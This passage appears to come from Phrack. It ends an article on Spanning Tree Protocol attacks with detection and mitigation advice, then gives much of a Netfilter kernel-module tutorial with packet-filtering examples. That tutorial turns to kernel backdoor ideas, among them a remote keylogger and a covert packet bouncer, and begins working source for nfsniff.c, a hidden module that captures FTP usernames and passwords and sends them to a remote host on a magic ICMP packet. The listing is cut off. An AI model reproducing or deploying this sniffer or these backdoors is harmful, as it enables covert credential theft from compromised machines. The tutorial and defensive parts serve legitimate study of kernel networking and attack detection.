received, that is practically impossible. Anyway it allows collecting of some sensitive data. Also note, that this attack allows to catch all frames, because it works on the channel level of OSI and redirects all protocols (including IPX, NETBEUI etc), not only IP (as ARP-poisoning).

Other possible attacks.
==*=*=*=*=*=*=*=*=*=*

These attacks are unchecked, but we suppose, that them are possible.

STP attack on the neighbor VLAN.
*=

According 802.1q a bridge with VLAN support can receive on the given channel either all the frames, or the frames with appropriate tags. In VLAN-divided networks frames containing STP packets will be transmitted via trunk link with appropriate tags. So, there is an ability to attack VLAN by sending STP packets in tagged frames to the port, which doesn't support tags. Fortunately, according 802.1q a bridge may filter out those frames. For example, Cisco devices drop down tagged frames on the tag-incompatible ports (at least, users), that makes this attack impossible. But note, that bridge MAY, not MUST drop these frames.

STP on WAN links.
==*=*=*=*=*=*=*=*

We also must understand, that WAN links are vulnerable to STP attacks too. This because BCP specification declare STP over PPP support. Surprising consequence of this fact is an ability to attack ISP network via dial-up connection. According RFC2878 (BCP description, see [RFC2878]) STP turned on on the PPP link if both sides requesting it, that never takes place in practice. Nevertheless, STP supported by default on the majority Cisco routers, at least models, capable to combine virtual interfaces into bridge group.

This applies to GARP.
==*=*=*=*=*=*=*=*=*=*=

As you may read in the Generic Attribute Registration Protocol (GARP) specification by 802.1d the STP is a subset of GARP. Some of discussed above attack work against GARP and, in particular, Generic VLAN Registration Protocol (GVRP). Therefore VLANs cannot be used as single security measure in network. 802.1q standard originated from 802.1d and inherits all its defects.

We may continue our research of non-standard using STP. All new materials will be available on the project web-page (see [3]).

Brief resume.
==*=*=*=*=*

So, we shown that unfortunately all networks supporting 802.1d and,
with some restrictions, those that support 802.1q are all vulnerable.

While some devices support STP only if administrator turned on appropriate option during configuration process, others support STP by default, ``from the box'' (most of current vendors enable STP by default). Ask your admin: does our network need STP support? Is STP support turned off on our hardware?

Detection and protection.

==*=*=*=*=*=*=*=*=*=*=*=*

What is the main difficulty with STP-based attacks detection? The problem is that for this attack used standard C-BPDU packets, so presence STP packets on the network is not strong characteristic of attack. Other difficulty is that Intrusion Detection System (IDS) must have in its disposal information about network scheme, at least, list of network devices (with bridges IDs) to distinguish usual STP traffic from intruder's packets. Moreover, as a main goal of attack is network availability, IDS must have its own alarm channel. But note that in this case there possible false negatives - attack will not detected if malicious BPDUs affect network hardware before IDS disclose them. Each real network normal state can be described in STP terms. For example, in a network which normally doesn't use STP appearance of STP packets most likely signify an STP attack attempt. Series of Root Bridge elections with sequential lowering Root Bridge ID may signify ``eternal election'' attack. In a network with fixed list of device IDs appearance of BPDUs with new ID in most cases may signify an attack (except, of course some ridiculous cases like installation of new device by ones of poor-coordinated administration team). We suppose, that most effective solution is adaptive self-learning IDS using neural networks technology, because the can dynamically compare actual network state with ``normal'' state. One of most significant measure is STP fraction in total traffic amount.

Quick fix?

==*=*=*=*

What can network administrators do while problem exists?

- If STP is not barest necessity for your network, it must be disabled. As we noted above, in most devices STP is enabled by default.
- In many cases backup links can be controlled using other mechanisms like Link Aggregation. This feature supported by many devices, including Intel, Avaya etc.
- If hardware supports individual STP settings on each port then STP must be switched off on all ports except tagged port connected to other network hardware, but not user workstations. Especially this must be taken in account by ISP, because malicious users may attempt to make DoS against either ISP network either other client's networks.
- If possible administrators must to segment STP realm, i.e. create several independent spanning trees. Particularly, if two network segment (offices) connected via WAN link, STP on this link must be switched off.

Conclusion

==*=*=*=

Each complicated system inevitably has some errors and communications is not an exclusion. But this fact is not a reason to stop evolution of information technologies - we can totally escape mistakes only if we do nothing. Meanwhile increasing complexity of technologies demand new approach to development, an approach, which takes in account all conditions and factors, including information security. We suppose that developers must use new methods, like mathematical simulation of produced system, which takes in account not only specified controlling and disturbing impacts on the system, but also predicts system behavior when input values are outside of specified range.

It is no wonder that developers in first place take in account primary goal of system creation and other questions gives little consideration. But if we don't include appropriate security measures while system development, it is practically impossible to ``make secure'' this system when it is already created. At least, this process is very expensive, because core design lacks are hard to detect and too hard (some times - impossible) to repair in contrast to implementation and configuration errors.

References
==*=*=*=

[2] Our article in Russian in LAN-magazine:
http://www.osp.ru/lan/2002/01/088.htm , also there, in paper:
Russia, Moscow, LAN, #01/2002, published by ``Open Systems'' publishers.
[3] Other materials of this research are published in full at
http://olli.digger.org.ru/STP
[4] Formatted report of our research
http://olli.digger.org.ru/STP/STP.pdf
[5] C-code source of BPDU generation program
http://olli.digger.org.ru/STP/stp.c
[6] Shell script to manipulate STP parameters
http://olli.digger.org.ru/STP/test.sh
[7] ANSI/IEEE 802.1d (Media Access Control, MAC) and ANSI/IEEE 802.1q
(Virtual Bridged Local Area Networks) can be downloaded from
http://standards.ieee.org/getieee
[8] RFC2878 (PPP Bridging Control Protocol)
http://www.ietf.org/rfc/rfc2878.txt
[9] Description of BPDU
http://www.protocols.com/pbook/bridge.htm#BPDU
[10] Assigned Numbers (RFC1700) http://www.iana.org/numbers.html
[11] Cisco STP Portfast feature
http://www.cisco.com/warppublic/473/65.html
[12] Description of STP support on 3Com SuperStack Switch 1000
http://support.3com.com/infodeli/tools/switches/s_stack2/3c16902/manual.a02/chap51.htm
[13] Linux Bridge Project
http://bridge.sourceforge.net/
[14] Thomas Habets. Playing with ARP
http://www.habets.pp.se/synscan/docs/play_arp-draft1.pdf

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0d of 0x0f

|=------------=[Hacking the Linux Kernel Network Stack]=---------------=|

|=---=|

|=------------------=[bioforge <alkerr@yifan.net>]=--------------------=|

Table of Contents

1 - Introduction
  1.1 - What this document is
  1.2 - What this document is not
2 - The various Netfilter hooks and their uses
  2.1 - The Linux kernel's handling of packets
  2.2 - The Netfilter hooks for IPv4
3 - Registering and unregistering Netfilter hooks
4 - Packet filtering operations with Netfilter
  4.1 - A closer look at hook functions
  4.2 - Filtering by interface
  4.3 - Filtering by address
  4.4 - Filtering by TCP port
5 - Other possibilities for Netfilter hooks
  5.1 - Hidden backdoor daemons
  5.2 - Kernel based FTP password sniffer
    5.2.1 - The code... nfsniff.c
    5.2.2 - getpass.c
6 - Hiding network traffic from Libpcap
  6.1 - SOCK_PACKET, SOCK_RAW and Libpcap
  6.2 - Wrapping the cloak around the dagger
7 - Conclusion
A - Light-Weight Fire Wall
  A.1 - Overview
  A.2 - The source... lwfw.c
  A.3 - lwfw.h
B - Code for section 6

--[1 - Introduction

This article describes how quirks (not necessarily weaknesses) in the Linux network stack can be used for various purposes, nefarious or otherwise. Presented here will be a discussion on using seemingly legitimate Netfilter hooks for backdoor communications and also a technique to hide such traffic from a Libpcap based sniffer running on the local machine.

Netfilter is a subsystem in the Linux 2.4 kernel. Netfilter makes such network tricks as packet filtering, network address translation (NAT) and connection tracking possible through the use of various hooks in the kernel's network code. These hooks are places that kernel code, either statically built or in the form of a loadable module, can register functions to be called for specific network events. An example of such an event is the reception of a packet.

----[1.1 - What this document is

This document discusses how a module writer can make use of the Netfilter hooks for whatever purposes and also how network traffic can be hidden from a Libpcap application. Although Linux 2.4 supports hooks for IPv4, IPv6 and DECnet, only IPv4 will be discussed in this document. However, most of the IPv4 content can be applied to the other protocols. As an aide to teaching, a working kernel module that provides basic packet filtering is provided in Appendix A. Any development/experimentation done for this document was done on an Intel machine running Linux 2.4.5. Testing the behaviour of Netfilter hooks was done using the loopback device, an Ethernet device and a modem Point-to-Point interface.

This document is also written for my benefit in an attempt to fully understand Netfilter. I do not guarantee that any code accompanying this document is 100% error free but I have tested all code provided here. I have suffered the kernel faults so hopefully you won't have to. Also, I do not accept any responsibility for damages that may occur through following this document. It is expected that the reader be comfortable with the C programming language and have some experience with Loadable Kernel Modules.

If I have made a mistake in something presented here then please let me know. I am also open to suggestions on either improving this document or other nifty Netfilter tricks in general.

----[1.2 - What this document is not

This document is not a complete ins-and-outs reference for Netfilter. It is also *not* a reference for the iptables command. If you want to learn more about the iptables command, consult the man pages.

So let's get started with an introduction to using Netfilter...

--[2 - The various Netfilter hooks and their uses

----[2.1 - The Linux kernel's handling of packets

As much as I would love to go into the gory details of Linux's handling of packets and the events preceeding and following each Netfilter hook, I won't. The simple reason is that Harald Welte has already written a nice document on the subject, his Journey of a Packet Through the Linux 2.4 Network Stack document. To learn more on Linux's handling of packets, I strongly suggest that you read this document as well. For now, just understand that as a packet moves through the Linux kernel's network stack it crosses several hook locations where packets can be analysed and kept or discarded. These are the Netfilter hooks.

------[2.2 The Netfilter hooks for IPv4

Netfilter defines five hooks for IPv4. The declaration of the symbols for these can be found in linux/netfilter_ipv4.h. These hooks are displayed in the table below:

Table 1: Available IPv4 hooks

Hook	Called
NF_IP_PRE_ROUTING	After sanity checks, before routing decisions.
NF_IP_LOCAL_IN	After routing decisions if packet is for this host.
NF_IP_FORWARD	If the packet is destined for another interface.
NF_IP_LOCAL_OUT	For packets coming from local processes on their way out.
NF_IP_POST_ROUTING	Just before outbound packets "hit the wire".

The NF_IP_PRE_ROUTING hook is called as the first hook after a packet has been received. This is the hook that the module presented later will utilise. Yes the other hooks are very useful as well, but for now we will focus only on NF_IP_PRE_ROUTING.

After hook functions have done whatever processing they need to do with a packet they must return one of the predefined Netfilter return codes. These codes are:

Table 2: Netfilter return codes

Return Code	Meaning
NF_DROP	Discard the packet.
NF_ACCEPT	Keep the packet.
NF_STOLEN	Forget about the packet.
NF_QUEUE	Queue packet for userspace.

```
  NF_REPEAT      Call this hook function again.
```

The NF_DROP return code means that this packet should be dropped completely and any resources allocated for it should be released. NF_ACCEPT tells Netfilter that so far the packet is still acceptable and that it should move to the next stage of the network stack. NF_STOLEN is an interesting one because it tells Netfilter to "forget" about the packet. What this tells Netfilter is that the hook function will take processing of this packet from here and that Netfilter should drop all processing of it. This does not mean, however, that resources for the packet are released. The packet and it's respective sk_buff structure are still valid, it's just that the hook function has taken ownership of the packet away from Netfilter. Unfortunately I'm not exactly clear on what NF_QUEUE really does so for now I won't discuss it. The last return value, NF_REPEAT requests that Netfilter calls the hook function again. Obviously one must be careful using NF_REPEAT so as to avoid an endless loop.

--[3 - Registering and unregistering Netfilter hooks

Registration of a hook function is a very simple process that revolves around the nf_hook_ops structure, defined in linux/netfilter.h. The definition of this structure is as follows:

```
          struct nf_hook_ops {
                  struct list_head list;

                  /* User fills in from here down. */
                  nf_hookfn *hook;
                  int pf;
                  int hooknum;
                  /* Hooks are ordered in ascending priority. */
                  int priority;
          };
```

The list member of this structure is used to maintain the lists of Netfilter hooks and has no importance for hook registration as far as users are concerned. hook is a pointer to a nf_hookfn function. This is the function that will be called for the hook. nf_hookfn is defined in linux/netfilter.h as well. The pf field specifies a protocol family. Valid protocol families are available from linux/socket.h but for IPv4 we want to use PF_INET. The hooknum field specifies the particular hook to install this function for and is one of the values listed in table 1. Finally, the priority field specifies where in the order of execution this hook function should be placed. For IPv4, acceptable values are defined in linux/netfilter_ipv4.h in the nf_ip_hook_priorities enumeration. For the purposes of demonstration modules we will be using NF_IP_PRI_FIRST.

Registration of a Netfilter hook requires using a nf_hook_ops structure with the nf_register_hook() function. nf_register_hook() takes the address of an nf_hook_ops structure and returns an integer value. However, if you actually look at the code for the nf_register_hook() function in net/core/netfilter.c, you will notice that it only ever returns a value of zero. Provided below is example code that simply registers a function that will drop all packets that come in. This code will also show how the Netfilter return values are interpreted.

Listing 1. Registration of a Netfilter hook

```
/* Sample code to install a Netfilter hook function that will
 * drop all incoming packets. */

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
```

```
#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;

/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    return NF_DROP;           /* Drop ALL packets */
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

    nf_register_hook(&nfho);

    return 0;
}

/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}
```

That's all there is to it. From the code given in listing 1 you can see that unregistering a Netfilter hook is a simple matter of calling nf_unregister_hook() with the address of the same structure you used to register the hook.

--[4 - Basic packet filtering techniques with Netfilter

----[4.1 - A closer look at hook functions

Now its time to start looking at what data gets passed into hook functions and how that data an be used to make filtering decisions. So let's look more closely at the prototype for nf_hookfn functions. The prototype is given in linux/netfilter.h as follows:

```
          typedef unsigned int nf_hookfn(unsigned int hooknum,
                                         struct sk_buff **skb,
                                         const struct net_device *in,
                                         const struct net_device *out,
                                         int (*okfn)(struct sk_buff *));
```

The first argument to nf_hookfn functions is a value specifying one of the hook types given in table 1. The second argument is more interesting. It is a pointer to a pointer to a sk_buff structure, the structure used by the network stack to describe packets. This structure is defined in linux/skbuff.h and due to its size, I shall only highlight some of it's more interesting fields here.

Possibly the most useful fields out of sk_buff structures are the three unions that describe the transport header (ie. UDP, TCP, ICMP, SPX), the network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet or RAW). The names of these unions are h, nh and mac respectively. These unions contain several structures, depending on what protocols are in use in a particular packet. One should note that the transport header and network header may very well point to the same location in memory. This is the case for TCP packets where h and nh are both considered as pointers to IP header structures. This means that attempting to get a value from h->th thinking it's pointing to the TCP header will result in false results because h->th will actually be pointing to the IP header, just like nh->iph.

Other fields of immediate interest are the len and data fields. len specifies the total length of the packet data beginning at data. So now we know how to access individual protocol headers and the packet data itself from a sk_buff structure. What other interesting bits of information are available to Netfilter hook functions?

The two arguments that come after skb are pointers to net_device structures. net_device structures are what the Linux kernel uses to describe network interfaces of all sorts. The first of these structures, in, is used to describe the interface the packet arrived on. Not surprisingly, the out structure describes the interface the packet is leaving on. It is important to realise that usually only one of these structures will be provided. For instance, in will only be provided for the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided for the NF_IP_LOCAL_OUT and NF_IP_POST_ROUTING hooks. At this stage I haven't tested which of these structures are available for the NF_IP_FORWARD hook but if you make sure the pointers are non-NULL before attempting to dereference them you should be fine.

Finally, the last item passed into a hook function is a function pointer called okfn that takes a sk_buff structure as its only argument and returns an integer. I'm not too sure on what this function does. Looking in net/core/netfilter.c there are two places where this okfn is called. These two places are in the functions nf_hook_slow() and nf_reinject() where at a certain place this function is called on a return value of NF_ACCEPT from a Netfilter hook. If anybody has more information on okfn please let me know.

Now that we've looked at the most interesting and useful bits of information that our hook functions receive, it's time to look at how we can use that information to filter packets in a variety of ways.

----[4.2 - Filtering by interface

This would have to be the simplest filtering technique we can do. Remember those net_device structures our hook function received? Using the name field from the relevant net_device structure allows us to drop packets depending on their source interface or destination interface. To drop all packets that arrive on interface eth0 all one has to do is compare the value of in->name with "eth0". If the names match then the hook function simply returns NF_DROP and the packet is destroyed. It's as easy as that. Sample code to do this is provided in listing 2 below. Note that the Light-Weight FireWall module will provide simple examples of all the filtering methods presented here. It also includes an IOCTL interface and application to change its behaviour dynamically.

Listing 2. Filtering packets based on their source interface

```
/* Sample code to install a Netfilter hook function that will
 * drop all incoming packets on an interface we specify */
 #define __KERNEL__
 #define MODULE
 #include <linux/module.h>
 #include <linux/kernel.h>
 #include <linux/netdevice.h>
 #include <linux/netfilter.h>
 #include <linux/netfilter_ipv4.h>
 /* This is the structure we shall use to register our function */
  static struct nf_hook_ops nfho;
 /* Name of the interface we want to drop packets from */
  static char *drop_if = "lo";

 /* This is the hook function itself */
  unsigned int hook_func(unsigned int hooknum,
                         struct sk_buff **skb,
                         const struct net_device *in,
                         const struct net_device *out,
                         int (*okfn)(struct sk_buff *))
{
    if (strcmp(in->name, drop_if) == 0) {
        printk("Dropped packet on %s...\n", drop_if);
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook     = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

    nf_register_hook(&nfho);

    return 0;
}

/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}
```

Now isn’t that simple? Next, let’s have a look at filtering based on IP addresses.

----[4.3 - Filtering by address

As with filtering packets by their interface, filtering packets by their source or destination IP address is very simple. This time we are interested in the sk_buff structure. Now remember that the skb argument is a pointer to a pointer to a sk_buff structure. To avoid running into problems it is good practice to declare a seperate pointer to a sk_buff structure and assign the value pointed to by skb to this newly declared pointer. Like so:

```
      struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /
```

Now you only have to dereference once to access items in the structure. Obtaining the IP header for a packet is done using the network layer header from the the sk_buff structure. This header is contained in a union and can be accessed as sk_buff->nh.iph. The function in listing 3 demonstrates how to check the source IP address of a received packet against an address to deny when given a sk_buff for the packet. This code has been pulled directly from LWFW. The only difference is that the update of LWFW statistics has been removed.

Listing 3. Checking source IP of a received packet

```
          unsigned char *deny_ip = "\x7f\x00\x00\x01";  /* 127.0.0.1 */

          ...
```

```
static int check_ip_packet(struct sk_buff *skb)
{
    /* We don’t want any NULL pointers in the chain to
     * the IP header. */
    if (!skb )return NF_ACCEPT;
    if (!(skb->nh.iph)) return NF_ACCEPT;

    if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {
        return NF_DROP;
    }

    return NF_ACCEPT;
}
```

Now if the source address matches the address we want to drop packets from then the packet is dropped. For this function to work as presented the value of deny_ip should be stored in Network Byte Order (Big-endian, opposite of Intel). Although it’s unlikely that this function will be called with a NULL pointer for it’s argument, it never hurts to be a little paranoid. Of course if an error does occur then the function will return NF_ACCEPT so that Netfilter can continue processing the packet. Listing 4 presents the simple module used to demonstrate interface based filtering changed so that it drops packets that match a particular IP address.

Listing 4. Filtering packets based on their source address

```
/* Sample code to install a Netfilter hook function that will
* drop all incoming packets from an IP address we specify */

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/ip.h>                  /* For IP header */
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;

/* IP address we want to drop packets from, in NB order */
static unsigned char *drop_ip = "\x7f\x00\x00\x01";

/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    struct sk_buff *sb = *skb;

    if (sb->nh.iph->saddr == drop_ip) {
        printk("Dropped packet from... %d.%d.%d.%d\n",
                *drop_ip, *(drop_ip + 1),
                *(drop_ip + 2), *(drop_ip + 3));
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}

/* Initialisation routine */
int init_module()
{
```

```
                /* Fill in our hook structure */
                nfho.hook     = hook_func;
                /* Handler function */
                nfho.hooknum  = NF_IP_PRE_ROUTING; /* First for IPv4 */
                nfho.pf       = PF_INET;
                nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */

                nf_register_hook(&nfho);

                return 0;
            }

            /* Cleanup routine */
            void cleanup_module()
            {
                nf_unregister_hook(&nfho);
            }
```

----[4.4 - Filtering by TCP port

Another simple rule to implement is the filtering of packets based on their TCP destination port. This is only a bit more fiddly than checking IP addresses because we need to create a pointer to the TCP header ourselves. Remember what was discussed earlier about transport headers and network headers? Getting a pointer to the TCP header is a simple matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h) and pointing after the IP header in our packet data. Perhaps an example would help. Listing 5 presents code to check if the destination TCP port of a packet matches some port we want to drop all packets for. As with listing 3, this was taken from LWFW.

Listing 5. Checking the TCP destination port of a received packet

```
            unsigned char *deny_port = "\x00\x19";   /* port 25 */

            ...

            static int check_tcp_packet(struct sk_buff *skb)
            {
                struct tcphdr *thead;

                /* We don't want any NULL pointers in the chain
                 * to the IP header. */
                if (!skb ) return NF_ACCEPT;
                if (!(skb->nh.iph)) return NF_ACCEPT;

                /* Be sure this is a TCP packet first */
                if (skb->nh.iph->protocol != IPPROTO_TCP) {
                    return NF_ACCEPT;
                }

                thead = (struct tcphdr *)(skb->data +
                                         (skb->nh.iph->ihl * 4));

                /* Now check the destination port */
                if ((thead->dest) == *(unsigned short *)deny_port) {
                    return NF_DROP;
                }

                return NF_ACCEPT;
            }
```

Very simple indeed. Don't forget that for this function to work deny_port should be in network byte order. That's it for packet filtering basics, you should have a fair understanding of how to get to the information you want for a specific packet. Now it's time to move onto more interesting stuff.

--[5 - Other possibilities for Netfilter hooks

Here I'll make some proposals for other cool stuff to do with Netfilter hooks. Section 5.1 will simply provide food for thought, while section 5.2 shall discuss and provide working code for a kernel based FTP password sniffer with remote password retrieval that really does work. It fact it works so well it scares me, and I wrote it.

----[5.1 - Hidden backdoor daemons

Kernel module programming would have to be one of the most interesting areas of development for Linux. Writing code in the kernel means you are writing code in a place where you are limited only by your imagination. From a malicous point of view you can hide files, processes, and do all sorts of cool things that any rootkit worth its salt is capable of. Then from a not-so-malicious point of view (yes people with this point of view do exist) you can hide files, processes and do all sorts of cool things. The kernel really is a fascinating place.

Now with all the power made available to a kernel level programmer, there are a lot of possibilities. Possibly one of the most interesting (and scary for system administrators) is the possibility of backdoors built right into the kernel. Afterall, if a backdoor doesn't run as a process then how do you know it's running? Of course there are ways of making your kernel cough-up such backdoors, but they are by no means as easy and simple as running ps. Now the idea of putting backdoor code into a kernel is not new. What I'm proposing here, however, is placing simple network services as kernel backdoors using, you guessed it, Netfilter hooks.

If you have the necessary skills and willingness to crash your kernel in the name of experimentation, then you can construct simple but useful network services located entirely in the kernel and accessible remotely. Basically a Netfilter hook could watch incoming packets for a "magic" packet and when that magic packet is received, do something special. Results can then be sent from the Netfilter hook and the hook function can return NF_STOLEN so that the received "magic" packet goes no further. Note however, that when sending in such a fassion, outgoing packets will still be visible on the outbound Netfilter hooks. Therefore userspace is totally unaware that the magic packet ever arrived, but they can still see whatever you send out. Beware! Just because a sniffer on a compromised host can't see the packet, doesn't mean that a sniffer on an intermediate host can't see the packet.

kossak and lifeline wrote an excellent article for Phrack describing how such things could be done by registering packet type handlers. Although this document deals with Netfilter hooks I still suggest reading their article (Issue 55, file 12) as it is a very interesting read with some very interesting ideas being presented.

So what kind of work could a backdoor Netfilter hook do? Well, here are some suggestions:
- -- Remote access key-logger. Module logs keystrokes and results are sent to a remote host when that host sends a PING request. So a stream of keystroke information could be made to look like a steady (don't flood) stream of PING replies. Of course one would want to implement a simple encryption so that ASCII keys don't show themselves immediately and some alert system administrator goes "Hang on. I typed that over my SSH session before! Oh $%@T%&!".
- -- Various simple administration tasks such as getting lists of who is currently logged onto the machine or obtaining information about open network connections.
- -- Not really a backdoor as such, but a module that sits on a network perimeter and blocks any traffic suspected to come from trojans, ICMP covert channels or file sharing tools like KaZaa.
- -- File transfer "server". I have implemented this idea recently. The resulting LKM is hours of fun :).
- -- Packet bouncer. Redirects packets aimed at a special port on the

backdoored host to another IP host and port and sends packets from that host back to the initiator. No process being spawned and best of all, no network socket being opened.
  -- Packet bouncer as described above used to communicate with critical systems on a network in a semi-covert manner. Eg. configuring routers and such.
  -- FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save the information until a magic packet comes in asking for it.

Well that's a short list of ideas. The last one will actually be discussed in more detail in the next section as it provides a nice oppurtunity to look at some more functions internal to the kernel's network code.

----[5.2 - Kernel based FTP password sniffer

Presented here is a simple proof-of-concept module that acts as a Netfilter backdoor. This module will sniff outgoing FTP packets looking for a USER and PASS command pair for an FTP server. When a pair is found the module will then wait for a "magic" ICMP ECHO (Ping) packet big enough to return the server's IP address and the username and password. Also provided is a quick hack that sends a magic packet, gets a reply then prints the returned information. Once a username/password pair has been read from the module it will then look for the next pair. Note that only one pair will be stored by the module at one time. Now that a brief overview has been provided, it's time to present a more detailed look at how the module does its thing.

When loaded, the module's init_module() function simply registers two Netfilter hooks. The first one is used to watch incoming traffic (on NF_IP_PRE_ROUTING) in an attempt to find a "magic" ICMP packet. The next one is used to watch traffic leaving the machine (on NF_IP_POST_ROUTING) the module is installed on. This is where the search and capture of FTP USER and PASS packets happens. The cleanup_module() procedure simply unregisters these two hooks.

watch_out() is the function used to hook NF_IP_POST_ROUTING. Looking at this function you can see that it is very simple in operation. When a packet enters the function it is run through various checks to be sure it's an FTP packet. If it's not then a value of NF_ACCEPT is returned immediately. If it is an FTP packet then the module checks to be sure that it doesn't already have a username and password pair already queued. If it does (as signalled by have_pair being non-zero) then NF_ACCEPT is returned and the packet can finally leave the system. Otherwise, the check_ftp() procedure is called. This is where extraction of passwords actually takes place. If no previous packets have been received then the target_ip and target_port variables should be cleared.

check_ftp() starts by looking for either "USER", "PASS" or "QUIT" at the beginning of the packet. Note that PASS commands will not be processed until a USER command has been processed. This prevents deadlock that occurs if for some reason a PASS command is received first and the connection breaks before USER arrives. Also, if a QUIT command arrives and only a username has been captured then things are reset so sniffing can start over on a new connection. When a USER or PASS command arrives, if the necessary sanity checks are passed then the argument to the command is copied. Just before check_ftp() finishes under normal operations, it checks to see if it now has a valid username and password string. If it does then have_pair is set and no more usernames or passwords will be grabbed until the current pair is retrieved.

So far you have seen how this module installs itself and begins looking for usernames and passwords to log. Now you shall see what happens when the specially formatted "magic" packet arrives. Pay particular attention here because this is where the most problems arose during development. 16 kernel faults if I remember correctly :). When packets come into the machine with this module installed, watch_in() checks each one to see if it is a magic packet. If it does not pass the necessary requirements to be considered magic, then the packet is ignored by watch_in() who simply returns NF_ACCEPT. Notice how one of the criteria for magic packets is that they have enough room to hold the IP address and username and password strings. This is done to make sending the reply easier. A fresh sk_buff could have been allocated, but getting all of the necessary fields right can be difficult and you have to get them right! So instead of creating a new structure for our reply packet, we simply tweak the request packet's structure. To return the packet successfully, several changes need to be made. Firstly, the IP addresses are swapped around and the packet type field of the sk_buff structure (pkt_type) is changed to PACKET_OUTGOING which is defined in linux/if_packet.h. The next thing to take care of is making sure any link layer headers are included. The data field of our received packet's sk_buff points after the link layer header and it is the data field that points to the beginning of packet data to be transmitted. So for interfaces that require the link layer header (Ethernet and Loopback Point-to-Point is raw) we point the data field to the mac.ethernet or mac.raw structures. To determine what type of interface this packet came in on, you can check the value of sb->dev->type where sb is a pointer to a sk_buff structure. Valid values for this field can be found in linux/if_arp.h but the most useful are given below in table 3.

Table 3: Common values for interface types

Type Code	Interface Type
ARPHRD_ETHER	Ethernet
ARPHRD_LOOPBACK	Loopback device
ARPHRD_PPP	Point-to-point (eg. dialup)

The last thing to be done is actually copy the data we want to send in our reply. It's now time to send the packet. The dev_queue_xmit() function takes a pointer to a sk_buff structure as it's only argument and returns a negative errno code on a nice failure. What do I mean by nice failure? Well, if you give dev_queue_xmit() a badly constructed socket buffer then you will get a not-so-nice failure. One that comes complete with kernel fault and kernel stack dump information. See how failures can be splt into two groups here? Finally, watch_in() returns NF_STOLEN to tell Netfilter to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return NF_DROP if you have called dev_queue_xmit()! If you do then you will quickly get a nasty kernel fault. This is because dev_queue_xmit() will free the passed in socket buffer and Netfilter will attempt to do the same with an NF_DROPped packet. Well that's enough discussion on the code, it's now time to actually see the code.

------[5.2.1 - The code... nfsniff.c

```
<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
 * A captured Username and Password pair are sent to a remote host
 * when that host sends a specially formatted ICMP packet. Here we
 * shall use an ICMP_ECHO packet whose code field is set to 0x5B
 * *AND* the packet has enough
 * space after the headers to fit a 4-byte IP address and the
 * username and password fields which are a max. of 15 characters
 * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

 /* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
```

```
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) \
                               - sizeof(struct iphdr) \
                               - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
 * they are queried. Only one USER/PASS pair will be held at one
 * time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;       /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
 * same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;          /* Incoming */
struct nf_hook_ops  post_hook;         /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
 * Looks for the USER and PASS fields and makes sure they both come from
 * the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;

   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;

   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;

      if (username)  return;

      while (*(data + i) != '\r' && *(data + i) != '\n'
             && *(data + i) != '\0' && i < 15) {
         len++;
         i++;
      }

